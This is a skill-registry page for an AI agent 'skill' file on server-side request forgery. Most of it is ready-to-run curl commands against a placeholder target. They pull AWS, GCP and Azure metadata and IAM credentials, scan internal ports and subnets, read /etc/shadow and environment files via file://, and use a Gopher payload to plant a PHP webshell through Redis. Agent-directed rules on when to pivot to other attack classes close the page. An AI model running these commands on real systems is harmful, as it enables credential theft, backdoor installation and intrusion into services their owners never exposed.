Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS/GCP/Azure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass.
65
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/ssrf/SKILL.mdExploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.
# Test with callback server
curl -s 'https://<TARGET>/fetch?url=http://<CALLBACK>/ssrf_test' -o ssrf_callback.txt
# Test localhost access
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_localhost.txt
# Common SSRF parameters: url, uri, path, src, dest, redirect, img, load, page, feed, to, out, ref# AWS IMDSv1
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/' -o ssrf_aws_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -o ssrf_aws_role.txt
# Then fetch role credentials:
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>' -o ssrf_aws_creds.txt
# GCP
curl -s 'https://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt
# Azure
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt
# DigitalOcean
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/v1.json' -o ssrf_do_meta.txt# Scan internal ports via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
curl -s -o /dev/null -w "Port $port: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://127.0.0.1:${port}/"
done > ssrf_port_scan.txt
# Internal network scanning
for i in $(seq 1 254); do
curl -s -o /dev/null -w "10.0.0.$i: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://10.0.0.${i}/" --max-time 3
done > ssrf_internal_scan.txt# IP address variations for 127.0.0.1
# Decimal: 2130706433
# Hex: 0x7f000001
# Octal: 0177.0.0.1
# IPv6: [::1], [0000::1]
# Shorthand: 127.1, 127.0.1
# DNS rebinding — point DNS to 127.0.0.1
# URL encoding
# http://%31%32%37%2e%30%2e%30%2e%31/
# Redirect bypass — host a redirect from your server to internal target
# https://<YOUR_SERVER>/redirect?to=http://169.254.169.254/latest/meta-data/# Gopher SSRF to interact with internal services (Redis, MySQL, etc.)
# Redis — flush and write webshell
GOPHER_PAYLOAD="gopher://127.0.0.1:6379/_*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$34%0d%0a<?php%20system(\$_GET['cmd']);?>%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$13%0d%0a/var/www/html%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$9%0d%0ashell.php%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a"
curl -s "https://<TARGET>/fetch?url=${GOPHER_PAYLOAD}" -o ssrf_gopher.txtWhen the application mediates server-side HTTP requests through a feature (not a raw ?url= parameter), look for these vectors:
# Markdown/HTML renderer — image and link tags trigger server-side fetch
# Submit as markdown content:
# 
# [x](http://127.0.0.1:8080/internal)
# PDF generator (HTML-to-PDF) — iframe or img src
# Submit as HTML content:
# <iframe src="http://localhost/admin"></iframe>
# <img src="http://169.254.169.254/latest/meta-data/">
# Webhook/callback URL — application calls back to attacker-controlled URL
# Set webhook URL to: http://127.0.0.1:<PORT>/admin
# Import-from-URL / avatar-from-URL features
curl -s -X POST 'https://<TARGET>/import' \
-d 'url=http://127.0.0.1:8080/admin' -o ssrf_import.txt
# Probe common restricted admin ports through any SSRF vector
for port in 80 443 3000 5000 8000 8080 8443 9000; do
curl -s -o ssrf_admin_${port}.txt \
'https://<TARGET>/<SSRF_VECTOR>' \
--data-urlencode "url=http://127.0.0.1:${port}/admin"
echo "Port $port: $(wc -c < ssrf_admin_${port}.txt) bytes"
doneWhen the server-side fetcher supports the file:// scheme:
# Read sensitive files via file:// scheme
curl -s 'https://<TARGET>/fetch?url=file:///.env' -o ssrf_env.txt
curl -s 'https://<TARGET>/fetch?url=file:///etc/shadow' -o ssrf_shadow.txt
# Common sensitive files
curl -s 'https://<TARGET>/fetch?url=file:///etc/passwd' -o ssrf_passwd.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/environ' -o ssrf_environ.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/cmdline' -o ssrf_cmdline.txt
# App source / config (adjust path to match observed framework)
curl -s 'https://<TARGET>/fetch?url=file:///app/app.py' -o ssrf_source.txt
curl -s 'https://<TARGET>/fetch?url=file:///var/www/html/config.php' -o ssrf_config.txtSSRF bypass research is a vast space (CRLF, IPv6, DNS rebinding, @-syntax, IP encoding, Unicode normalization, …). Iterating bypass variants against ONE target endpoint that returns the SAME error response is rarely productive — the underlying block is usually parse_url() host validation or a curl --protocols allowlist that no syntax variant defeats.
Rule: After 3 consecutive failures with identical error signature against the same target host:port via the same SSRF vector, STOP iterating SSRF bypasses on that target. Write exploit/PIVOT.md documenting tried variants, then pivot to:
SUMMARY.md (most common win — recon usually surfaces 2-3 attack classes; pick the next one).ssti.md Twig "Multi-surface rendering rule").file:// or gopher:// locally — if parse_url() accepts these, you don't need to escape the host check.http://host.docker.internal:<APP_PORT>/admin, /debug, /.git/config, /server-status.# Failure-signature check — match identical responses to detect dead-end loop
LAST=""; STRIKES=0
for variant in raw encoded ipv6 rebind; do
RESP=$(curl -s "http://<TARGET>/<SSRF_VECTOR>" --data-urlencode "url=<variant>" | md5sum | cut -d' ' -f1)
[ "$RESP" = "$LAST" ] && STRIKES=$((STRIKES+1)) || STRIKES=0
LAST=$RESP
[ $STRIKES -ge 3 ] && echo "DEAD END — PIVOT" && break
doneAnti-pattern: 20+ SSRF bypass attempts against a single port that consistently returned "Failed to fetch URL" or identical error pages. The block is upstream of URL syntax — the variant space is exhausted.
0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.